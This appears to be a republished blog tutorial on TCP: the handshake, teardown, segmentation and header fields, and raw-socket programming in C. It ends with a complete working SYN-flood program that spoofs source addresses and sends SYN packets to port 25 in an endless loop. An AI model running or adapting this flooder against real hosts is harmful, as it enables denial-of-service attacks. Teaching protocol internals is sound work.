Xathrya Sabertooth |
Posted: 05 Oct 2013 08:23 AM PDT The Transmission Control Protocol (TCP) is one of the core protocols of the Internet protocol suite (IP), and is so common that the entire suite is often called TCP/IP. TCP provides reliable, ordered, error-checked delivery of a stream of octets between programs running on computers connected to a local area network, intranet or the public Internet. It resides at the transport layer (4th layer). TCP is a transport layer protocol. It provides feature of flow control, segmentation/desegmentation, and error control of a packet. TCP also have job to multiplex a packet data to corresponding application which listen to certain port. Connection EstablishmentTCP Handshake is a term refer to a procedure for connection initiation between two nodes. As stated before, a TCP is connection oriented protocol. Therefore, a send-receive operation should be done on open session, or in short a connection must be properly established before data transfer can be made. TCP connection is managed by an operating system through a programming interface that represents the local end-point for communications, the Internet socket. To establish a connection, TCP uses a three-way handshake. Before a client attempts to connect with a server, the server must first bind to and listen at a port to open it up for connections: this is called a passive open. Once the passive open is established, a client may initiate an active open. To establish a connection, the three-way (or 3-step) handshake occurs:
At this point, both the client and server have received an acknowledgment of the connection. The steps 1, 2 establish the connection parameter (sequence number) for one direction and it is acknowledged. The steps 2, 3 establish the connection parameter (sequence number) for the other direction and it is acknowledged. With these, a full-duplex communication is established. Connection TerminationThe connection termination phase uses a four-way handshake, with each side of the connection terminating independently. When an endpoint wishes to stop its half of the connection, it transmits a FIN packet, which the other end acknowledges with an ACK. Therefore, a typical tear-down requires a pair of FIN and ACK segments from each TCP endpoint. After both FIN/ACK exchanges are concluded, the side which sent the first FIN before receiving one waits for a timeout before finally closing the connection, during which time the local port is unavailable for new connections; this prevents confusion due to delayed packets being delivered during subsequent connections. A connection can be “half-open”, in which case one side has terminated its end, but the other has not. The side that has terminated can no longer send any data into the connection, but the other side can. The terminating side should continue reading the data until the other side terminates as well. It is also possible to terminate the connection by a 3-way handshake, when host A sends a FIN and host B replies with a FIN & ACK (merely combines 2 steps into one) and host A replies with an ACK.This is perhaps the most common method. It is possible for both hosts to send FINs simultaneously then both just have to ACK. This could possibly be considered a 2-way handshake since the FIN/ACK sequence is done in parallel for both directions. Data Processing in TCPTransmission Control Protocol accepts data from a data stream, divides it into chunks, and adds a TCP header creating a TCP segment. The TCP segment is then encapsulated into an Internet Protocol (IP) datagram, and exchanged with peers. For example case, if you have a data like this: ................................ our node, receiver node, or intermediate node who route the packet might not have the same size in bandwidth. Therefore it should be divided into chunks. TCP should know how much datagram can be handle by your network. Let say, it will divide data into following: .... .... .... .... .... .... .... .... TCP then append a header in the front of each datagram. Let T become the TCP header, our datagram would be: T.... T.... T.... T.... T.... T.... T.... T.... TCP Segment StructureWhen a TCP segment is formed, each TCP segment will have following structure: PortSource port and destination port is a port number on source node (sender) and destination node (receiver), respectively. They are 16-bit unsigned integer which numbered from 0-65535. Sequence numberA 32 bits data. A sequence number entry has dual role.
A sequence number is used so a receiver end can assembly all segments to same data. This will ensure that both data sent and received on both end are same, in same order without wrong position. The sequence number is 32-bit. The numbering is based on which octet the data is. Therefore, if data is divided into 500 octet per segment, the sequence number would be 0 for first segment, 500 for second segment, 1000 for third segment, and so on. Acknowledgment numberA 32 bits data. If the ACK flag is set then the value of this field is the next sequence number that the receiver is expecting. The first ACK sent by each end acknowledges the other end’s initial sequence number itself, but no data. Data offsetA 4 bits data. Data offset is a number which specifying the size of TCP header in 32-bit words. The minimum size of header is 5 words and the maximum is 15 words thus giving the minimum size of 20 bytes and maximum of 60 bytes, allowing for up to 40 bytes of options in the header. This field gets its name from the fact that it is also the offset from the start of the TCP segment to the actual data. ReservedA 3 bits data. This field is reserved for future use and should be set to zero. FlagsA 9 bits data. This fields has 9 flag defined which has 1 bit each. The flags are:
Window sizeA 16 bits data which defines the size of the receive window, which specifies the number of window size units (by default, bytes) (beyond the sequence number in the acknowledgment field) that the sender of this segment is currently willing to receive ChecksumA 16 bits data used for error checking of the header and data. A checksum is a number computed from all datagram. When a segment is received on the other node, a data checksum is recomputed and then compared to checksum entry in the header. If the calculation match indicating the segment has not been altered or arrive safe on destination. If not, TCP will ask for retransmission. Urgent pointerA 16 bits data. If the URG flag is set, then this 16-bit field is an offset from the sequence number indicating the last urgent data byte OptionsA variable length data which can have 0-320 bits, divisible by 32. The length of this field is determined by the data offset field. Options have up to three fields: Option-Kind (1 byte), Option-Length (1 byte), Option-Data (variable). The Option-Kind field indicates the type of option, and is the only field that is not optional. Depending on what kind of option we are dealing with, the next two fields may be set: the Option-Length field indicates the total length of the option, and the Option-Data field contains the value of the option, if applicable. For example, an Option-Kind byte of 0×01 indicates that this is a No-Op option used only for padding, and does not have an Option-Length or Option-Data byte following it. An Option-Kind byte of 0 is the End Of Options option, and is also only one byte. An Option-Kind byte of 0×02 indicates that this is the Maximum Segment Size option, and will be followed by a byte specifying the length of the MSS field (should be 0×04). Note that this length is the total length of the given options field, including Option-Kind and Option-Length bytes. So while the MSS value is typically expressed in two bytes, the length of the field will be 4 bytes (+2 bytes of kind and length). In short, an MSS option field with a value of 0x05B4 will show up as (0×02 0×04 0x05B4) in the TCP options section. PaddingThe TCP header padding is used to ensure that the TCP header ends and data begins on a 32 bit boundary. The padding is composed of zeros. TCP Segment in Low Level Socket ProgrammingOnly processes with an effective user ID of 0 or the CAP_NET_RAW capability are allowed to open raw sockets. The basic concept of low level sockets is to send a single packet at one time with all the protocol headers filled in by the program instead of the kernel. Unix provides two kinds of sockets that permit direct access to the network. One is SOCK_PACKET, which receives and sends data on the device link layer. This means, the NIC specific header is included in the data that will be written or read. For most networks, this is the ethernet header. Of course, all subsequent protocol headers will also be included in the data. The socket type we’ll be using, however, is SOCK_RAW, which includes the IP headers and all subsequent protocol headers and data. To inject our own packets, all we need to know is the structures of the protocols that need to be included (we have cover it above). In programming, the packet is represented as a structure of data. Code below is taken from Linux header, netinet/tcp.h: /** * TCP header. * Per RFC 793, September 1981. */ // This is BSD'ish TCP Header struct tcphdr { u_int16_t th_sport; /* source port */ u_int16_t th_dport; /* destination port */ tcp_seq th_seq; /* sequence number */ tcp_seq th_ack; /* acknowledgement number */ # if __BYTE_ORDER == __LITTLE_ENDIAN u_int8_t th_x2:4; /* (unused) */ u_int8_t th_off:4; /* data offset */ # endif # if __BYTE_ORDER == __BIG_ENDIAN u_int8_t th_off:4; /* data offset */ u_int8_t th_x2:4; /* (unused) */ # endif u_int8_t th_flags; # define TH_FIN 0x01 # define TH_SYN 0x02 # define TH_RST 0x04 # define TH_PUSH 0x08 # define TH_ACK 0x10 # define TH_URG 0x20 u_int16_t th_win; /* window */ u_int16_t th_sum; /* checksum */ u_int16_t th_urp; /* urgent pointer */ }; The struct is self explained if you have read the previous section. Now, by putting together the knowledge about the protocol header structures with some basic C functions, it is easy to construct and send any datagram(s). We will demonstrate this with a small sample program that constantly sends out SYN requests to one host (Syn flooder). Please note that following snippet also has low level IP packet construction which is not defined on this article. #define __USE_BSD /* use bsd'ish ip header */ #include <sys/socket.h> #include <netinet/in.h> #include <netinet/ip.h> #define __FAVOR_BSD /* use bsd'ish tcp header */ #include <netinet/tcp.h> #include <unistd.h> #define P 25 /* lets flood the sendmail port */ unsigned short /* this function generates header checksums */ csum (unsigned short *buf, int nwords) { unsigned long sum; for (sum = 0; nwords > 0; nwords--) sum += *buf++; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return ~sum; } int main (void) { int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP); /* open raw socket */ char datagram[4096]; /* this buffer will contain ip header, tcp header, and payload. we'll point an ip header structure at its beginning, and a tcp header structure after that to write the header values into it */ struct ip *iph = (struct ip *) datagram; struct tcphdr *tcph = (struct tcphdr *) datagram + sizeof (struct ip); struct sockaddr_in sin; /* the sockaddr_in containing the dest. address is used in sendto() to determine the datagrams path */ sin.sin_family = AF_INET; sin.sin_port = htons (P);/* you byte-order >1byte header values to network byte order (not needed on big endian machines) */ sin.sin_addr.s_addr = inet_addr ("127.0.0.1"); memset (datagram, 0, 4096); /* zero out the buffer */ /* we'll now fill in the ip/tcp header values, see above for explanations */ iph->ip_hl = 5; iph->ip_v = 4; iph->ip_tos = 0; iph->ip_len = sizeof (struct ip) + sizeof (struct tcphdr); /* no payload */ iph->ip_id = htonl (54321); /* the value doesn't matter here */ iph->ip_off = 0; iph->ip_ttl = 255; iph->ip_p = 6; iph->ip_sum = 0; /* set it to 0 before computing the actual checksum later */ iph->ip_src.s_addr = inet_addr ("1.2.3.4");/* SYN's can be blindly spoofed */ iph->ip_dst.s_addr = sin.sin_addr.s_addr; tcph->th_sport = htons (1234); /* arbitrary port */ tcph->th_dport = htons (P); tcph->th_seq = random ();/* in a SYN packet, the sequence is a random */ tcph->th_ack = 0;/* number, and the ack sequence is 0 in the 1st packet */ tcph->th_x2 = 0; tcph->th_off = 0; /* first and only tcp segment */ tcph->th_flags = TH_SYN; /* initial connection request */ tcph->th_win = htonl (65535); /* maximum allowed window size */ tcph->th_sum = 0;/* if you set a checksum to zero, your kernel's IP stack should fill in the correct checksum during transmission */ tcph->th_urp = 0; iph->ip_sum = csum ((unsigned short *) datagram, iph->ip_len >> 1); /* finally, it is very advisable to do a IP_HDRINCL call, to make sure that the kernel knows the header is included in the data, and doesn't insert its own header into the packet before our data */ { /* lets do it the ugly way.. */ int one = 1; const int *val = &one; if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0) printf ("Warning: Cannot set HDRINCL!\n"); } while (1) { if (sendto (s, /* our socket */ datagram, /* the buffer containing headers and data */ iph->ip_len, /* total length of our datagram */ 0, /* routing flags, normally always 0 */ (struct sockaddr *) &sin, /* socket addr, just like in */ sizeof (sin)) < 0) /* a normal send() */ printf ("error\n"); else printf ("."); } return 0; } Appendix A: International Standard |
You are subscribed to email updates from Xathrya Sabertooth To stop receiving these emails, you may unsubscribe now. | Email delivery powered by Google |
Google Inc., 20 West Kinzie, Chicago IL USA 60610 |
Tidak ada komentar:
Posting Komentar